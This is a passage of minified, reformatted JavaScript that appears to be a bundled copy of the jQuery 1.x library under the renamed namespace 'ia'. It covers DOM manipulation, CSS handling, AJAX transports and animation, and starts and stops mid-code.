                    }) : ia.globalEval((f.text || f.textContent || f.innerHTML || "").replace(fb, "")));
                    j = e = null
                }
                return this
            }
        }),
        ia.each({
            appendTo: "append",
            prependTo: "prepend",
            insertBefore: "before",
            insertAfter: "after",
            replaceAll: "replaceWith"
        },
        function(a, b) {
            ia.fn[a] = function(a) {
                for (var c, d = 0,
                e = [], f = ia(a), g = f.length - 1; g >= d; d++) c = d === g ? this: this.clone(!0),
                ia(f[d])[b](c),
                ca.apply(e, c.get());
                return this.pushStack(e)
            }
        }),
        ia.extend({
            clone: function(a, b, c) {
                var d, e, f, g, h, i = ia.contains(a.ownerDocument, a);
                if (ia.support.html5Clone || ia.isXMLDoc(a) || !Wa.test("<" + a.nodeName + ">") ? f = a.cloneNode(!0) : (ib.innerHTML = a.outerHTML, ib.removeChild(f = ib.firstChild)), !(ia.support.noCloneEvent && ia.support.noCloneChecked || 1 !== a.nodeType && 11 !== a.nodeType || ia.isXMLDoc(a))) for (d = t(f), h = t(a), g = 0; null != (e = h[g]); ++g) d[g] && s(e, d[g]);
                if (b) if (c) for (h = h || t(a), d = d || t(f), g = 0; null != (e = h[g]); g++) r(e, d[g]);
                else r(a, f);
                return d = t(f, "script"),
                d.length > 0 && q(d, !i && t(a, "script")),
                d = h = e = null,
                f
            },
            buildFragment: function(a, b, c, d) {
                for (var e, f, g, h, i, j, k, l = a.length,
                n = m(b), o = [], p = 0; l > p; p++) if (f = a[p], f || 0 === f) if ("object" === ia.type(f)) ia.merge(o, f.nodeType ? [f] : f);
                else if (_a.test(f)) {
                    for (h = h || n.appendChild(b.createElement("div")), i = (Za.exec(f) || ["", ""])[1].toLowerCase(), k = gb[i] || gb._default, h.innerHTML = k[1] + f.replace(Ya, "<$1></$2>") + k[2], e = k[0]; e--;) h = h.lastChild;
                    if (!ia.support.leadingWhitespace && Xa.test(f) && o.push(b.createTextNode(Xa.exec(f)[0])), !ia.support.tbody) for (f = "table" !== i || $a.test(f) ? "<table>" !== k[1] || $a.test(f) ? 0 : h: h.firstChild, e = f && f.childNodes.length; e--;) ia.nodeName(j = f.childNodes[e], "tbody") && !j.childNodes.length && f.removeChild(j);
                    for (ia.merge(o, h.childNodes), h.textContent = ""; h.firstChild;) h.removeChild(h.firstChild);
                    h = n.lastChild
                } else o.push(b.createTextNode(f));
                for (h && n.removeChild(h), ia.support.appendChecked || ia.grep(t(o, "input"), u), p = 0; f = o[p++];) if ((!d || -1 === ia.inArray(f, d)) && (g = ia.contains(f.ownerDocument, f), h = t(n.appendChild(f), "script"), g && q(h), c)) for (e = 0; f = h[e++];) db.test(f.type || "") && c.push(f);
                return h = null,
                n
            },
            cleanData: function(a, b) {
                for (var c, d, e, f, g = 0,
                h = ia.expando,
                i = ia.cache,
                j = ia.support.deleteExpando,
                k = ia.event.special; null != (c = a[g]); g++) if ((b || ia.acceptData(c)) && (e = c[h], f = e && i[e])) {
                    if (f.events) for (d in f.events) k[d] ? ia.event.remove(c, d) : ia.removeEvent(c, d, f.handle);
                    i[e] && (delete i[e], j ? delete c[h] : typeof c.removeAttribute !== V ? c.removeAttribute(h) : c[h] = null, _.push(e))
                }
            }
        });
        var jb, kb, lb, mb = /alpha\([^)]*\)/i,
        nb = /opacity\s*=\s*([^)]*)/,
        ob = /^(top|right|bottom|left)$/,
        pb = /^(none|table(?!-c[ea]).+)/,
        qb = /^margin/,
        rb = RegExp("^(" + ja + ")(.*)$", "i"),
        sb = RegExp("^(" + ja + ")(?!px)[a-z%]+$", "i"),
        tb = RegExp("^([+-])=(" + ja + ")", "i"),
        ub = {
            BODY: "block"
        },
        vb = {
            position: "absolute",
            visibility: "hidden",
            display: "block"
        },
        wb = {
            letterSpacing: 0,
            fontWeight: 400
        },
        xb = ["Top", "Right", "Bottom", "Left"],
        yb = ["Webkit", "O", "Moz", "ms"];
        ia.fn.extend({
            css: function(a, c) {
                return ia.access(this,
                function(a, c, d) {
                    var e, f, g = {},
                    h = 0;
                    if (ia.isArray(c)) {
                        for (f = kb(a), e = c.length; e > h; h++) g[c[h]] = ia.css(a, c[h], !1, f);
                        return g
                    }
                    return d !== b ? ia.style(a, c, d) : ia.css(a, c)
                },
                a, c, arguments.length > 1)
            },
            show: function() {
                return x(this, !0)
            },
            hide: function() {
                return x(this)
            },
            toggle: function(a) {
                var b = "boolean" == typeof a;
                return this.each(function() { (b ? a: w(this)) ? ia(this).show() : ia(this).hide()
                })
            }
        }),
        ia.extend({
            cssHooks: {
                opacity: {
                    get: function(a, b) {
                        if (b) {
                            var c = lb(a, "opacity");
                            return "" === c ? "1": c
                        }
                    }
                }
            },
            cssNumber: {
                columnCount: !0,
                fillOpacity: !0,
                fontWeight: !0,
                lineHeight: !0,
                opacity: !0,
                orphans: !0,
                widows: !0,
                zIndex: !0,
                zoom: !0
            },
            cssProps: {
                "float": ia.support.cssFloat ? "cssFloat": "styleFloat"
            },
            style: function(a, c, d, e) {
                if (a && 3 !== a.nodeType && 8 !== a.nodeType && a.style) {
                    var f, g, h, i = ia.camelCase(c),
                    j = a.style;
                    if (c = ia.cssProps[i] || (ia.cssProps[i] = v(j, i)), h = ia.cssHooks[c] || ia.cssHooks[i], d === b) return h && "get" in h && (f = h.get(a, !1, e)) !== b ? f: j[c];
                    if (g = typeof d, "string" === g && (f = tb.exec(d)) && (d = (f[1] + 1) * f[2] + parseFloat(ia.css(a, c)), g = "number"), !(null == d || "number" === g && isNaN(d) || ("number" !== g || ia.cssNumber[i] || (d += "px"), ia.support.clearCloneStyle || "" !== d || 0 !== c.indexOf("background") || (j[c] = "inherit"), h && "set" in h && (d = h.set(a, d, e)) === b))) try {
                        j[c] = d
                    } catch(k) {}
                }
            },
            css: function(a, c, d, e) {
                var f, g, h, i = ia.camelCase(c);
                return c = ia.cssProps[i] || (ia.cssProps[i] = v(a.style, i)),
                h = ia.cssHooks[c] || ia.cssHooks[i],
                h && "get" in h && (g = h.get(a, !0, d)),
                g === b && (g = lb(a, c, e)),
                "normal" === g && c in wb && (g = wb[c]),
                "" === d || d ? (f = parseFloat(g), d === !0 || ia.isNumeric(f) ? f || 0 : g) : g
            },
            swap: function(a, b, c, d) {
                var e, f, g = {};
                for (f in b) g[f] = a.style[f],
                a.style[f] = b[f];
                e = c.apply(a, d || []);
                for (f in b) a.style[f] = g[f];
                return e
            }
        }),
        a.getComputedStyle ? (kb = function(b) {
            return a.getComputedStyle(b, null)
        },
        lb = function(a, c, d) {
            var e, f, g, h = d || kb(a),
            i = h ? h.getPropertyValue(c) || h[c] : b,
            j = a.style;
            return h && ("" !== i || ia.contains(a.ownerDocument, a) || (i = ia.style(a, c)), sb.test(i) && qb.test(c) && (e = j.width, f = j.minWidth, g = j.maxWidth, j.minWidth = j.maxWidth = j.width = i, i = h.width, j.width = e, j.minWidth = f, j.maxWidth = g)),
            i
        }) : W.documentElement.currentStyle && (kb = function(a) {
            return a.currentStyle
        },
        lb = function(a, c, d) {
            var e, f, g, h = d || kb(a),
            i = h ? h[c] : b,
            j = a.style;
            return null == i && j && j[c] && (i = j[c]),
            sb.test(i) && !ob.test(c) && (e = j.left, f = a.runtimeStyle, g = f && f.left, g && (f.left = a.currentStyle.left), j.left = "fontSize" === c ? "1em": i, i = j.pixelLeft + "px", j.left = e, g && (f.left = g)),
            "" === i ? "auto": i
        }),
        ia.each(["height", "width"],
        function(a, c) {
            ia.cssHooks[c] = {
                get: function(a, d, e) {
                    return d ? 0 === a.offsetWidth && pb.test(ia.css(a, "display")) ? ia.swap(a, vb,
                    function() {
                        return A(a, c, e)
                    }) : A(a, c, e) : b
                },
                set: function(a, b, d) {
                    var e = d && kb(a);
                    return y(a, b, d ? z(a, c, d, ia.support.boxSizing && "border-box" === ia.css(a, "boxSizing", !1, e), e) : 0)
                }
            }
        }),
        ia.support.opacity || (ia.cssHooks.opacity = {
            get: function(a, b) {
                return nb.test((b && a.currentStyle ? a.currentStyle.filter: a.style.filter) || "") ? .01 * parseFloat(RegExp.$1) + "": b ? "1": ""
            },
            set: function(a, b) {
                var c = a.style,
                d = a.currentStyle,
                e = ia.isNumeric(b) ? "alpha(opacity=" + 100 * b + ")": "",
                f = d && d.filter || c.filter || "";
                c.zoom = 1,
                (b >= 1 || "" === b) && "" === ia.trim(f.replace(mb, "")) && c.removeAttribute && (c.removeAttribute("filter"), "" === b || d && !d.filter) || (c.filter = mb.test(f) ? f.replace(mb, e) : f + " " + e)
            }
        }),
        ia(function() {
            ia.support.reliableMarginRight || (ia.cssHooks.marginRight = {
                get: function(a, c) {
                    return c ? ia.swap(a, {
                        display: "inline-block"
                    },
                    lb, [a, "marginRight"]) : b
                }
            }),
            !ia.support.pixelPosition && ia.fn.position && ia.each(["top", "left"],
            function(a, c) {
                ia.cssHooks[c] = {
                    get: function(a, d) {
                        return d ? (d = lb(a, c), sb.test(d) ? ia(a).position()[c] + "px": d) : b
                    }
                }
            })
        }),
        ia.expr && ia.expr.filters && (ia.expr.filters.hidden = function(a) {
            return 0 >= a.offsetWidth && 0 >= a.offsetHeight || !ia.support.reliableHiddenOffsets && "none" === (a.style && a.style.display || ia.css(a, "display"))
        },
        ia.expr.filters.visible = function(a) {
            return ! ia.expr.filters.hidden(a)
        }),
        ia.each({
            margin: "",
            padding: "",
            border: "Width"
        },
        function(a, b) {
            ia.cssHooks[a + b] = {
                expand: function(c) {
                    for (var d = 0,
                    e = {},
                    f = "string" == typeof c ? c.split(" ") : [c]; 4 > d; d++) e[a + xb[d] + b] = f[d] || f[d - 2] || f[0];
                    return e
                }
            },
            qb.test(a) || (ia.cssHooks[a + b].set = y)
        });
        var zb = /%20/g,
        Ab = /\[\]$/,
        Bb = /\r?\n/g,
        Cb = /^(?:submit|button|image|reset|file)$/i,
        Db = /^(?:input|select|textarea|keygen)/i;
        ia.fn.extend({
            serialize: function() {
                return ia.param(this.serializeArray())
            },
            serializeArray: function() {
                return this.map(function() {
                    var a = ia.prop(this, "elements");
                    return a ? ia.makeArray(a) : this
                }).filter(function() {
                    var a = this.type;
                    return this.name && !ia(this).is(":disabled") && Db.test(this.nodeName) && !Cb.test(a) && (this.checked || !bb.test(a))
                }).map(function(a, b) {
                    var c = ia(this).val();
                    return null == c ? null: ia.isArray(c) ? ia.map(c,
                    function(a) {
                        return {
                            name: b.name,
                            value: a.replace(Bb, "\r\n")
                        }
                    }) : {
                        name: b.name,
                        value: c.replace(Bb, "\r\n")
                    }
                }).get()
            }
        }),
        ia.param = function(a, c) {
            var d, e = [],
            f = function(a, b) {
                b = ia.isFunction(b) ? b() : null == b ? "": b,
                e[e.length] = encodeURIComponent(a) + "=" + encodeURIComponent(b)
            };
            if (c === b && (c = ia.ajaxSettings && ia.ajaxSettings.traditional), ia.isArray(a) || a.ttsui && !ia.isPlainObject(a)) ia.each(a,
            function() {
                f(this.name, this.value)
            });
            else for (d in a) D(d, a[d], c, f);
            return e.join("&").replace(zb, "+")
        },
        ia.each("blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error contextmenu".split(" "),
        function(a, b) {
            ia.fn[b] = function(a, c) {
                return arguments.length > 0 ? this.on(b, null, a, c) : this.trigger(b)
            }
        }),
        ia.fn.hover = function(a, b) {
            return this.mouseenter(a).mouseleave(b || a)
        };
        var Eb, Fb, Gb = ia.now(),
        Hb = /\?/,
        Ib = /#.*$/,
        Jb = /([?&])_=[^&]*/,
        Kb = /^(.*?):[ \t]*([^\r\n]*)\r?$/gm,
        Lb = /^(?:about|app|app-storage|.+-extension|file|res|widget):$/,
        Mb = /^(?:GET|HEAD)$/,
        Nb = /^\/\//,
        Ob = /^([\w.+-]+:)(?:\/\/([^\/?#:]*)(?::(\d+)|)|)/,
        Pb = ia.fn.load,
        Qb = {},
        Rb = {},
        Sb = "*/".concat("*");
        try {
            Fb = X.href
        } catch(Tb) {
            Fb = W.createElement("a"),
            Fb.href = "",
            Fb = Fb.href
        }
        Eb = Ob.exec(Fb.toLowerCase()) || [],
        ia.fn.load = function(a, c, d) {
            if ("string" != typeof a && Pb) return Pb.apply(this, arguments);
            var e, f, g, h = this,
            i = a.indexOf(" ");
            return i >= 0 && (e = a.slice(i, a.length), a = a.slice(0, i)),
            ia.isFunction(c) ? (d = c, c = b) : c && "object" == typeof c && (g = "POST"),
            h.length > 0 && ia.ajax({
                url: a,
                type: g,
                dataType: "html",
                data: c
            }).done(function(a) {
                f = arguments,
                h.html(e ? ia("<div>").append(ia.parseHTML(a)).find(e) : a)
            }).complete(d &&
            function(a, b) {
                h.each(d, f || [a.responseText, b, a])
            }),
            this
        },
        ia.each(["ajaxStart", "ajaxStop", "ajaxComplete", "ajaxError", "ajaxSuccess", "ajaxSend"],
        function(a, b) {
            ia.fn[b] = function(a) {
                return this.on(b, a)
            }
        }),
        ia.each(["get", "post"],
        function(a, c) {
            ia[c] = function(a, d, e, f) {
                return ia.isFunction(d) && (f = f || e, e = d, d = b),
                ia.ajax({
                    url: a,
                    type: c,
                    dataType: f,
                    data: d,
                    success: e
                })
            }
        }),
        ia.extend({
            active: 0,
            lastModified: {},
            etag: {},
            ajaxSettings: {
                url: Fb,
                type: "GET",
                isLocal: Lb.test(Eb[1]),
                global: !0,
                processData: !0,
                async: !0,
                contentType: "application/x-www-form-urlencoded; charset=UTF-8",
                accepts: {
                    "*": Sb,
                    text: "text/plain",
                    html: "text/html",
                    xml: "application/xml, text/xml",
                    json: "application/json, text/javascript"
                },
                contents: {
                    xml: /xml/,
                    html: /html/,
                    json: /json/
                },
                responseFields: {
                    xml: "responseXML",
                    text: "responseText"
                },
                converters: {
                    "* text": a.String,
                    "text html": !0,
                    "text json": ia.parseJSON,
                    "text xml": ia.parseXML
                },
                flatOptions: {
                    url: !0,
                    context: !0
                }
            },
            ajaxSetup: function(a, b) {
                return b ? G(G(a, ia.ajaxSettings), b) : G(ia.ajaxSettings, a)
            },
            ajaxPrefilter: E(Qb),
            ajaxTransport: E(Rb),
            ajax: function(a, c) {
                function d(a, c, d, e) {
                    var f, l, s, t, v, x = c;
                    2 !== u && (u = 2, i && clearTimeout(i), k = b, h = e || "", w.readyState = a > 0 ? 4 : 0, d && (t = H(m, w, d)), a >= 200 && 300 > a || 304 === a ? (m.ifModified && (v = w.getResponseHeader("Last-Modified"), v && (ia.lastModified[g] = v), v = w.getResponseHeader("etag"), v && (ia.etag[g] = v)), 204 === a ? (f = !0, x = "nocontent") : 304 === a ? (f = !0, x = "notmodified") : (f = I(m, t), x = f.state, l = f.data, s = f.error, f = !s)) : (s = x, (a || !x) && (x = "error", 0 > a && (a = 0))), w.status = a, w.statusText = (c || x) + "", f ? p.resolveWith(n, [l, x, w]) : p.rejectWith(n, [w, x, s]), w.statusCode(r), r = b, j && o.trigger(f ? "ajaxSuccess": "ajaxError", [w, m, f ? l: s]), q.fireWith(n, [w, x]), j && (o.trigger("ajaxComplete", [w, m]), --ia.active || ia.event.trigger("ajaxStop")))
                }
                "object" == typeof a && (c = a, a = b),
                c = c || {};
                var e, f, g, h, i, j, k, l, m = ia.ajaxSetup({},
                c),
                n = m.context || m,
                o = m.context && (n.nodeType || n.ttsui) ? ia(n) : ia.event,
                p = ia.Deferred(),
                q = ia.Callbacks("once memory"),
                r = m.statusCode || {},
                s = {},
                t = {},
                u = 0,
                v = "canceled",
                w = {
                    readyState: 0,
                    getResponseHeader: function(a) {
                        var b;
                        if (2 === u) {
                            if (!l) for (l = {}; b = Kb.exec(h);) l[b[1].toLowerCase()] = b[2];
                            b = l[a.toLowerCase()]
                        }
                        return null == b ? null: b
                    },
                    getAllResponseHeaders: function() {
                        return 2 === u ? h: null
                    },
                    setRequestHeader: function(a, b) {
                        var c = a.toLowerCase();
                        return u || (a = t[c] = t[c] || a, s[a] = b),
                        this
                    },
                    overrideMimeType: function(a) {
                        return u || (m.mimeType = a),
                        this
                    },
                    statusCode: function(a) {
                        var b;
                        if (a) if (2 > u) for (b in a) r[b] = [r[b], a[b]];
                        else w.always(a[w.status]);
                        return this
                    },
                    abort: function(a) {
                        var b = a || v;
                        return k && k.abort(b),
                        d(0, b),
                        this
                    }
                };
                if (p.promise(w).complete = q.add, w.success = w.done, w.error = w.fail, m.url = ((a || m.url || Fb) + "").replace(Ib, "").replace(Nb, Eb[1] + "//"), m.type = c.method || c.type || m.method || m.type, m.dataTypes = ia.trim(m.dataType || "*").toLowerCase().match(ka) || [""], null == m.crossDomain && (e = Ob.exec(m.url.toLowerCase()), m.crossDomain = !(!e || e[1] === Eb[1] && e[2] === Eb[2] && (e[3] || ("http:" === e[1] ? 80 : 443)) == (Eb[3] || ("http:" === Eb[1] ? 80 : 443)))), m.data && m.processData && "string" != typeof m.data && (m.data = ia.param(m.data, m.traditional)), F(Qb, m, c, w), 2 === u) return w;
                j = m.global,
                j && 0 === ia.active++&&ia.event.trigger("ajaxStart"),
                m.type = m.type.toUpperCase(),
                m.hasContent = !Mb.test(m.type),
                g = m.url,
                m.hasContent || (m.data && (g = m.url += (Hb.test(g) ? "&": "?") + m.data, delete m.data), m.cache === !1 && (m.url = Jb.test(g) ? g.replace(Jb, "$1_=" + Gb++) : g + (Hb.test(g) ? "&": "?") + "_=" + Gb++)),
                m.ifModified && (ia.lastModified[g] && w.setRequestHeader("If-Modified-Since", ia.lastModified[g]), ia.etag[g] && w.setRequestHeader("If-None-Match", ia.etag[g])),
                (m.data && m.hasContent && m.contentType !== !1 || c.contentType) && w.setRequestHeader("Content-Type", m.contentType),
                w.setRequestHeader("Accept", m.dataTypes[0] && m.accepts[m.dataTypes[0]] ? m.accepts[m.dataTypes[0]] + ("*" !== m.dataTypes[0] ? ", " + Sb + "; q=0.01": "") : m.accepts["*"]);
                for (f in m.headers) w.setRequestHeader(f, m.headers[f]);
                if (m.beforeSend && (m.beforeSend.call(n, w, m) === !1 || 2 === u)) return w.abort();
                v = "abort";
                for (f in {
                    success: 1,
                    error: 1,
                    complete: 1
                }) w[f](m[f]);
                if (k = F(Rb, m, c, w)) {
                    w.readyState = 1,
                    j && o.trigger("ajaxSend", [w, m]),
                    m.async && m.timeout > 0 && (i = setTimeout(function() {
                        w.abort("timeout")
                    },
                    m.timeout));
                    try {
                        u = 1,
                        k.send(s, d)
                    } catch(x) {
                        if (! (2 > u)) throw x;
                        d( - 1, x)
                    }
                } else d( - 1, "No Transport");
                return w
            },
            getScript: function(a, c) {
                return ia.get(a, b, c, "script")
            },
            getJSON: function(a, b, c) {
                return ia.get(a, b, c, "json")
            }
        }),
        ia.ajaxSetup({
            accepts: {
                script: "text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"
            },
            contents: {
                script: /(?:java|ecma)script/
            },
            converters: {
                "text script": function(a) {
                    return ia.globalEval(a),
                    a
                }
            }
        }),
        ia.ajaxPrefilter("script",
        function(a) {
            a.cache === b && (a.cache = !1),
            a.crossDomain && (a.type = "GET", a.global = !1)
        }),
        ia.ajaxTransport("script",
        function(a) {
            if (a.crossDomain) {
                var c, d = W.head || ia("head")[0] || W.documentElement;
                return {
                    send: function(b, e) {
                        c = W.createElement("script"),
                        c.async = !0,
                        a.scriptCharset && (c.charset = a.scriptCharset),
                        c.src = a.url,
                        c.onload = c.onreadystatechange = function(a, b) { (b || !c.readyState || /loaded|complete/.test(c.readyState)) && (c.onload = c.onreadystatechange = null, c.parentNode && c.parentNode.removeChild(c), c = null, b || e(200, "success"))
                        },
                        d.insertBefore(c, d.firstChild)
                    },
                    abort: function() {
                        c && c.onload(b, !0)
                    }
                }
            }
        });
        var Ub = [],
        Vb = /(=)\?(?=&|$)|\?\?/;
        ia.ajaxSetup({
            jsonp: "callback",
            jsonpCallback: function() {
                var a = Ub.pop() || ia.expando + "_" + Gb++;
                return this[a] = !0,
                a
            }
        }),
        ia.ajaxPrefilter("json jsonp",
        function(c, d, e) {
            var f, g, h, i = c.jsonp !== !1 && (Vb.test(c.url) ? "url": "string" == typeof c.data && !(c.contentType || "").indexOf("application/x-www-form-urlencoded") && Vb.test(c.data) && "data");
            return i || "jsonp" === c.dataTypes[0] ? (f = c.jsonpCallback = ia.isFunction(c.jsonpCallback) ? c.jsonpCallback() : c.jsonpCallback, i ? c[i] = c[i].replace(Vb, "$1" + f) : c.jsonp !== !1 && (c.url += (Hb.test(c.url) ? "&": "?") + c.jsonp + "=" + f), c.converters["script json"] = function() {
                return h || ia.error(f + " was not called"),
                h[0]
            },
            c.dataTypes[0] = "json", g = a[f], a[f] = function() {
                h = arguments
            },
            e.always(function() {
                a[f] = g,
                c[f] && (c.jsonpCallback = d.jsonpCallback, Ub.push(f)),
                h && ia.isFunction(g) && g(h[0]),
                h = g = b
            }), "script") : b
        });
        var Wb, Xb, Yb = 0,
        Zb = a.ActiveXObject &&
        function() {
            var a;
            for (a in Wb) Wb[a](b, !0)
        };
        ia.ajaxSettings.xhr = a.ActiveXObject ?
        function() {
            return ! this.isLocal && J() || K()
        }: J,
        Xb = ia.ajaxSettings.xhr(),
        ia.support.cors = !!Xb && "withCredentials" in Xb,
        Xb = ia.support.ajax = !!Xb,
        Xb && ia.ajaxTransport(function(c) {
            if (!c.crossDomain || ia.support.cors) {
                var d;
                return {
                    send: function(e, f) {
                        var g, h, i = c.xhr();
                        if (c.username ? i.open(c.type, c.url, c.async, c.username, c.password) : i.open(c.type, c.url, c.async), c.xhrFields) for (h in c.xhrFields) i[h] = c.xhrFields[h];
                        c.mimeType && i.overrideMimeType && i.overrideMimeType(c.mimeType),
                        c.crossDomain || e["X-Requested-With"] || (e["X-Requested-With"] = "XMLHttpRequest");
                        try {
                            for (h in e) i.setRequestHeader(h, e[h])
                        } catch(j) {}
                        i.send(c.hasContent && c.data || null),
                        d = function(a, e) {
                            var h, j, k, l;
                            try {
                                if (d && (e || 4 === i.readyState)) if (d = b, g && (i.onreadystatechange = ia.noop, Zb && delete Wb[g]), e) 4 !== i.readyState && i.abort();
                                else {
                                    l = {},
                                    h = i.status,
                                    j = i.getAllResponseHeaders(),
                                    "string" == typeof i.responseText && (l.text = i.responseText);
                                    try {
                                        k = i.statusText
                                    } catch(m) {
                                        k = ""
                                    }
                                    h || !c.isLocal || c.crossDomain ? 1223 === h && (h = 204) : h = l.text ? 200 : 404
                                }
                            } catch(n) {
                                e || f( - 1, n)
                            }
                            l && f(h, k, l, j)
                        },
                        c.async ? 4 === i.readyState ? setTimeout(d) : (g = ++Yb, Zb && (Wb || (Wb = {},
                        ia(a).unload(Zb)), Wb[g] = d), i.onreadystatechange = d) : d()
                    },
                    abort: function() {
                        d && d(b, !0)
                    }
                }
            }
        });
        var $b, _b, ac = /^(?:toggle|show|hide)$/,
        bc = RegExp("^(?:([+-])=|)(" + ja + ")([a-z%]*)$", "i"),
        cc = /queueHooks$/,
        dc = [P],
        ec = {
            "*": [function(a, b) {
                var c, d, e = this.createTween(a, b),
                f = bc.exec(b),
                g = e.cur(),
                h = +g || 0,
                i = 1,
                j = 20;
                if (f) {
                    if (c = +f[2], d = f[3] || (ia.cssNumber[a] ? "": "px"), "px" !== d && h) {
                        h = ia.css(e.elem, a, !0) || c || 1;
                        do i = i || ".5",
                        h /= i,
                        ia.style(e.elem, a, h + d);
                        while (i !== (i = e.cur() / g) && 1 !== i && --j)
                    }
                    e.unit = d,
                    e.start = h,
                    e.end = f[1] ? h + (f[1] + 1) * c: c
                }
                return e
            }]
        };
        ia.Animation = ia.extend(N, {
            tweener: function(a, b) {
                ia.isFunction(a) ? (b = a, a = ["*"]) : a = a.split(" ");
                for (var c, d = 0,
                e = a.length; e > d; d++) c = a[d],
                ec[c] = ec[c] || [],
                ec[c].unshift(b)
            },
            prefilter: function(a, b) {
                b ? dc.unshift(a) : dc.push(a)
            }
        }),
        ia.Tween = Q,
        Q.prototype = {
            constructor: Q,
            init: function(a, b, c, d, e, f) {
                this.elem = a,
                this.prop = c,
                this.easing = e || "swing",
                this.options = b,
                this.start = this.now = this.cur(),
                this.end = d,
                this.unit = f || (ia.cssNumber[c] ? "": "px")
            },
            cur: function() {
                var a = Q.propHooks[this.prop];
                return a && a.get ? a.get(this) : Q.propHooks._default.get(this)
            },
            run: function(a) {
                var b, c = Q.propHooks[this.prop];
                return this.pos = b = this.options.duration ? ia.easing[this.easing](a, this.options.duration * a, 0, 1, this.options.duration) : a,
                this.now = (this.end - this.start) * b + this.start,
                this.options.step && this.options.step.call(this.elem, this.now, this),
                c && c.set ? c.set(this) : Q.propHooks._default.set(this),
                this
            }
        },
        Q.prototype.init.prototype = Q.prototype,
        Q.propHooks = {
            _default: {
                get: function(a) {
                    var b;
                    return null == a.elem[a.prop] || a.elem.style && null != a.elem.style[a.prop] ? (b = ia.css(a.elem, a.prop, ""), b && "auto" !== b ? b: 0) : a.elem[a.prop]
                },
                set: function(a) {
                    ia.fx.step[a.prop] ? ia.fx.step[a.prop](a) : a.elem.style && (null != a.elem.style[ia.cssProps[a.prop]] || ia.cssHooks[a.prop]) ? ia.style(a.elem, a.prop, a.now + a.unit) : a.elem[a.prop] = a.now
                }
            }
        },
        Q.propHooks.scrollTop = Q.propHooks.scrollLeft = {
            set: function(a) {
                a.elem.nodeType && a.elem.parentNode && (a.elem[a.prop] = a.now)
            }
        },
        ia.each(["toggle", "show", "hide"],
        function(a, b) {
            var c = ia.fn[b];
            ia.fn[b] = function(a, d, e) {
                return null == a || "boolean" == typeof a ? c.apply(this, arguments) : this.animate(R(b, !0), a, d, e)
            }
        }),
        ia.fn.extend({
            fadeTo: function(a, b, c, d) {
                return this.filter(w).css("opacity", 0).show().end().animate({
                    opacity: b
                },
                a, c, d)
            },
            animate: function(a, b, c, d) {
                var e = ia.isEmptyObject(a),
                f = ia.speed(b, c, d),
                g = function() {
                    var b = N(this, ia.extend({},
                    a), f);
                    g.finish = function() {
                        b.stop(!0)
                    },
                    (e || ia._data(this, "finish")) && b.stop(!0)
                };
                return g.finish = g,
                e || f.queue === !1 ? this.each(g) : this.queue(f.queue, g)
            },
            stop: function(a, c, d) {
                var e = function(a) {
                    var b = a.stop;
                    delete a.stop,
                    b(d)
                };
                return "string" != typeof a && (d = c, c = a, a = b),
                c && a !== !1 && this.queue(a || "fx", []),
                this.each(function() {
                    var b = !0,
                    c = null != a && a + "queueHooks",
                    f = ia.timers,
                    g = ia._data(this);
                    if (c) g[c] && g[c].stop && e(g[c]);
                    else for (c in g) g[c] && g[c].stop && cc.test(c) && e(g[c]);
                    for (c = f.length; c--;) f[c].elem !== this || null != a && f[c].queue !== a || (f[c].anim.stop(d), b = !1, f.splice(c, 1)); (b || !d) && ia.dequeue(this, a)
                })
            },
            finish: function(a) {
                return a !== !1 && (a = a || "fx"),
                this.each(function() {
                    var b, c = ia._data(this),
                    d = c[a + "queue"],
                    e = c[a + "queueHooks"],
                    f = ia.timers,
                    g = d ? d.length: 0;
                    for (c.finish = !0, ia.queue(this, a, []), e && e.cur && e.cur.finish && e.cur.finish.call(this), b = f.length; b--;) f[b].elem === this && f[b].queue === a && (f[b].anim.stop(!0), f.splice(b, 1));
                    for (b = 0; g > b; b++) d[b] && d[b].finish && d[b].finish.call(this);
                    delete c.finish
                })
            }
        }),
        ia.each({
            slideDown: R("show"),
            slideUp: R("hide"),
            slideToggle: R("toggle"),
            fadeIn: {
                opacity: "show"
            },
            fadeOut: {
                opacity: "hide"
            },
            fadeToggle: {
                opacity: "toggle"
            }
        },
        function(a, b) {
            ia.fn[a] = function(a, c, d) {
                return this.animate(b, a, c, d)
            }
        }),
        ia.speed = function(a, b, c) {
            var d = a && "object" == typeof a ? ia.extend({},
            a) : {
                complete: c || !c && b || ia.isFunction(a) && a,
                duration: a,
                easing: c && b || b && !ia.isFunction(b) && b
            };
            return d.duration = ia.fx.off ? 0 : "number" == typeof d.duration ? d.duration: d.duration in ia.fx.speeds ? ia.fx.speeds[d.duration] : ia.fx.speeds._default,
            (null == d.queue || d.queue === !0) && (d.queue = "fx"),
            d.old = d.complete,
            d.complete = function() {
                ia.isFunction(d.old) && d.old.call(this),
                d.queue && ia.dequeue(this, d.queue)
            },
            d
        },
        ia.easing = {
            linear: function(a) {
                return a
            },
            swing: function(a) {
                return.5 - Math.cos(a * Math.PI) / 2
            }
        },
        ia.timers = [],
        ia.fx = Q.prototype.init,
        ia.fx.tick = function() {
            var a, c = ia.timers,
            d = 0;
            for ($b = ia.now(); c.length > d; d++) a = c[d],
            a() || c[d] !== a || c.splice(d--, 1);
            c.length || ia.fx.stop(),
            $b = b
        },
        ia.fx.timer = function(a) {
            a() && ia.timers.push(a) && ia.fx.start()
        },
        ia.fx.interval = 13,
        ia.fx.start = function() {
            _b || (_b = setInterval(ia.fx.tick, ia.fx.interval))
        },
        ia.fx.stop = function() {
            clearInterval(_b),
            _b = null
        },
        ia.fx.speeds = {
            slow: 600,
            fast: 200,
            _default: 400
        },
        ia.fx.step = {},
        ia.expr && ia.expr.filters && (ia.expr.filters.animated = function(a) {
            return ia.grep(ia.timers,
            function(b) {
                return a === b.elem
            }).length
        }),
        ia.fn.offset = function(a) {
            if (arguments.length) return a === b ? this: this.each(function(b) {
                ia.offset.setOffset(this, a, b)
            });
            var c, d, e = {
                top: 0,
                left: 0
            },
            f = this[0],
            g = f && f.ownerDocument;
            return g ? (c = g.documentElement, ia.contains(c, f) ? (typeof f.getBoundingClientRect !== V && (e = f.getBoundingClientRect()), d = S(g), {
                top: e.top + (d.pageYOffset || c.scrollTop) - (c.clientTop || 0),
                left: e.left + (d.pageXOffset || c.scrollLeft) - (c.clientLeft || 0)
            }) : e) : void 0
        },
        ia.offset = {
            setOffset: function(a, b, c) {
                var d = ia.css(a, "position");
                "static" === d && (a.style.position = "relative");
                var e, f, g = ia(a),
                h = g.offset(),
                i = ia.css(a, "top"),
                j = ia.css(a, "left"),
